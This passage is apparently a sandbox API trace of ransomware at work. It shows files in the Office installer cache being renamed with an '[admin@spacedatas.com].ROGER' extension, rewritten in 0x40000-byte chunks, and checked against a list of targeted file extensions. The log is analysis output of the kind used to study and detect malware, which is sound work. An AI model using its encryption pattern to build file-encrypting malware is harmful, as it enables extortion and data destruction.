Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0051.329] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0051.329] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.329] ReadFile (in: hFile=0x340, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.408] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.409] ReadFile (in: hFile=0x340, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.413] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.413] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.413] ReadFile (in: hFile=0x340, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.429] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.429] WriteFile (in: hFile=0x340, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0051.448] SetEndOfFile (hFile=0x340) returned 1 [0051.477] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f38008 [0051.477] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.477] WriteFile (in: hFile=0x340, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.478] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.478] WriteFile (in: hFile=0x340, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.481] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.481] WriteFile (in: hFile=0x340, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.483] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f38008 | out: hHeap=0x790000) returned 1 [0051.483] CloseHandle (hObject=0x340) returned 1 [0051.483] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0051.483] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0051.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0051.484] lstrlenW (lpString=".doc") returned 4 [0051.484] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0051.484] lstrlenW (lpString=".docx") returned 5 [0051.484] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0051.484] lstrlenW (lpString=".pdf") returned 4 [0051.484] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0051.484] lstrlenW (lpString=".xls") returned 4 [0051.484] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0051.484] lstrlenW (lpString=".xlsx") returned 5 [0051.484] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0051.484] lstrlenW (lpString=".ppt") returned 4 [0051.484] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0051.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0051.484] lstrlenW (lpString=".zip") returned 4 [0051.484] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0051.484] lstrlenW (lpString=".rar") returned 4 [0051.484] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0051.484] lstrlenW (lpString=".bz2") returned 4 [0051.484] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0051.484] lstrlenW (lpString=".7z") returned 3 [0051.484] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0051.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0051.484] lstrlenW (lpString=".dbf") returned 4 [0051.484] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0051.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0051.484] lstrlenW (lpString=".1cd") returned 4 [0051.484] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0051.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0051.484] lstrlenW (lpString=".jpg") returned 4 [0051.485] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0051.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0051.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0051.485] lstrlenW (lpString=".doc") returned 4 [0051.485] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0051.485] lstrlenW (lpString=".docx") returned 5 [0051.485] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0051.485] lstrlenW (lpString=".pdf") returned 4 [0051.485] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0051.485] lstrlenW (lpString=".xls") returned 4 [0051.485] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0051.485] lstrlenW (lpString=".xlsx") returned 5 [0051.485] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0051.485] lstrlenW (lpString=".ppt") returned 4 [0051.485] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0051.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0051.485] lstrlenW (lpString=".zip") returned 4 [0051.485] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0051.485] lstrlenW (lpString=".rar") returned 4 [0051.485] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0051.485] lstrlenW (lpString=".bz2") returned 4 [0051.485] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0051.485] lstrlenW (lpString=".7z") returned 3 [0051.485] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0051.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0051.485] lstrlenW (lpString=".dbf") returned 4 [0051.485] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0051.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0051.485] lstrlenW (lpString=".1cd") returned 4 [0051.485] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0051.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0051.485] lstrlenW (lpString=".jpg") returned 4 [0051.485] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0051.486] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0051.486] lstrlenW (lpString="Office32WW.msi") returned 14 [0051.486] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0051.486] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=1992192) returned 1 [0051.486] CloseHandle (hObject=0x340) returned 1 [0051.486] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0051.486] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.486] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0051.487] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0051.487] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0051.487] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.487] ReadFile (in: hFile=0x340, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.490] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.490] ReadFile (in: hFile=0x340, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.493] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.493] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.494] ReadFile (in: hFile=0x340, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.561] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.561] WriteFile (in: hFile=0x340, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0051.871] SetEndOfFile (hFile=0x340) returned 1 [0051.872] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f38008 [0051.874] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.874] WriteFile (in: hFile=0x340, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.876] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.876] WriteFile (in: hFile=0x340, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.878] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.878] WriteFile (in: hFile=0x340, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.880] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f38008 | out: hHeap=0x790000) returned 1 [0051.880] CloseHandle (hObject=0x340) returned 1 [0051.880] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0051.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0051.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0051.880] lstrlenW (lpString=".doc") returned 4 [0051.880] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0051.880] lstrlenW (lpString=".docx") returned 5 [0051.880] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0051.880] lstrlenW (lpString=".pdf") returned 4 [0051.880] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0051.880] lstrlenW (lpString=".xls") returned 4 [0051.880] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0051.881] lstrlenW (lpString=".xlsx") returned 5 [0051.881] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0051.881] lstrlenW (lpString=".ppt") returned 4 [0051.881] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0051.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0051.881] lstrlenW (lpString=".zip") returned 4 [0051.881] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0051.881] lstrlenW (lpString=".rar") returned 4 [0051.881] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0051.881] lstrlenW (lpString=".bz2") returned 4 [0051.881] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0051.881] lstrlenW (lpString=".7z") returned 3 [0051.881] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0051.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0051.881] lstrlenW (lpString=".dbf") returned 4 [0051.881] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0051.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0051.881] lstrlenW (lpString=".1cd") returned 4 [0051.881] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0051.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0051.881] lstrlenW (lpString=".jpg") returned 4 [0051.881] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0051.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0051.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0051.881] lstrlenW (lpString=".doc") returned 4 [0051.881] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0051.881] lstrlenW (lpString=".docx") returned 5 [0051.881] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0051.881] lstrlenW (lpString=".pdf") returned 4 [0051.881] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0051.882] lstrlenW (lpString=".xls") returned 4 [0051.882] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0051.882] lstrlenW (lpString=".xlsx") returned 5 [0051.882] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0051.882] lstrlenW (lpString=".ppt") returned 4 [0051.882] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0051.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0051.882] lstrlenW (lpString=".zip") returned 4 [0051.882] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0051.882] lstrlenW (lpString=".rar") returned 4 [0051.882] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0051.882] lstrlenW (lpString=".bz2") returned 4 [0051.882] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0051.882] lstrlenW (lpString=".7z") returned 3 [0051.882] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0051.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0051.882] lstrlenW (lpString=".dbf") returned 4 [0051.882] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0051.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0051.882] lstrlenW (lpString=".1cd") returned 4 [0051.882] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0051.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0051.882] lstrlenW (lpString=".jpg") returned 4 [0051.882] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0051.882] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0051.882] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0051.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.037] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=36233052) returned 1 [0052.037] CloseHandle (hObject=0x3e8) returned 1 [0052.037] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0052.038] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.038] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0052.038] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.038] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0052.038] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.038] ReadFile (in: hFile=0x3e8, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.043] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.043] ReadFile (in: hFile=0x3e8, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.051] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.051] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.051] ReadFile (in: hFile=0x3e8, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.066] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.067] WriteFile (in: hFile=0x3e8, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0052.083] SetEndOfFile (hFile=0x3e8) returned 1 [0052.083] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f38008 [0052.086] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.086] WriteFile (in: hFile=0x3e8, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.087] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.087] WriteFile (in: hFile=0x3e8, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.088] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.088] WriteFile (in: hFile=0x3e8, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.089] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f38008 | out: hHeap=0x790000) returned 1 [0052.089] CloseHandle (hObject=0x3e8) returned 1 [0052.090] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0052.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.090] lstrlenW (lpString=".doc") returned 4 [0052.090] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.090] lstrlenW (lpString=".docx") returned 5 [0052.090] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0052.090] lstrlenW (lpString=".pdf") returned 4 [0052.090] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.090] lstrlenW (lpString=".xls") returned 4 [0052.090] lstrcmpiW 